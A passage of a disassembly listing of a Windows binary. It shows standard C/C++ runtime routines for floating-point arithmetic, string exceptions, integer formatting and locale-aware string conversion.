loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDDC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDDC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D828 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D988 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: .packed:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: .packed:00427C94o ; .packed:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: .packed:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: .packed:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: .packed:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: .packed:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: .packed:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: .packed:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262F6 proc near ; DATA XREF: .packed:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: .packed:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: .packed:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; sub_40F3AA+14Ap ... jmp dword_427210 sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p jmp dword_4271A4 sub_426356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: .packed:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE84, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: .packed:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: .packed:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: .packed:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: .packed:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: .packed:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr [edi+4] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42655D push dword ptr [edi+4] push eax call sub_41C890 pop ecx pop ecx jmp short loc_42655D ; --------------------------------------------------------------------------- loc_426557: ; CODE XREF: sub_42651A+16j mov eax, [edi+4] mov [esi+4], eax loc_42655D: ; CODE XREF: sub_42651A+2Ej ; sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; .packed:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: .packed:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_427050 ; RaiseException pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE84, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE84 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC010, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi call dword_427044 ; LCMapStringW test eax, eax jz short loc_42668A mov dword_4DC010, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426636+4Aj push esi push esi push ebx push offset word_4CB88C push edi push esi call dword_427048 ; LCMapStringA test eax, eax jz loc_42682B mov dword_4DC010, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426636+52j cmp [ebp+arg_C], esi jle short loc_4266C1 push [ebp+arg_C] push [ebp+arg_8] call sub_42683F pop ecx pop ecx mov [ebp+arg_C], eax loc_4266C1: ; CODE XREF: sub_426636+79j mov eax, dword_4DC010 cmp eax, 1 jnz short loc_4266E8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427044 ; LCMapStringW jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426636+93j cmp eax, 2 jnz loc_42682B cmp [ebp+arg_18], esi jnz short loc_4266FE mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_4266FE: ; CODE XREF: sub_426636+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_427188 ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_42682B mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426744: ; CODE XREF: sub_426636+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_427188 ; WideCharToMultiByte test eax, eax jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_427048 ; LCMapStringA mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42682B mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4267C7: ; CODE XREF: sub_426636+17Dj cmp ebx, esi jz short loc_42682B push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_427048 ; LCMapStringA test eax, eax jz short loc_42682B test byte ptr [ebp+arg_4+1], 4 jz short loc_426805 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426636+1BCj push eax push ebx push [ebp+arg_10] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426636+1B1j cmp [ebp+arg_14], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426636+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426814: ; CODE XREF: sub_426636+1D6j push edi push ebx push 1 push [ebp+arg_18] call dword_4270E8 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426636+1B8j ; sub_426636+1CDj mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426636+66j ; sub_426636+B5j ... xor eax, eax loc_42682D: ; CODE XREF: sub_426636+ADj ; sub_426636+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426636 endp ; =============== S U B R O U T I N E ======================================= 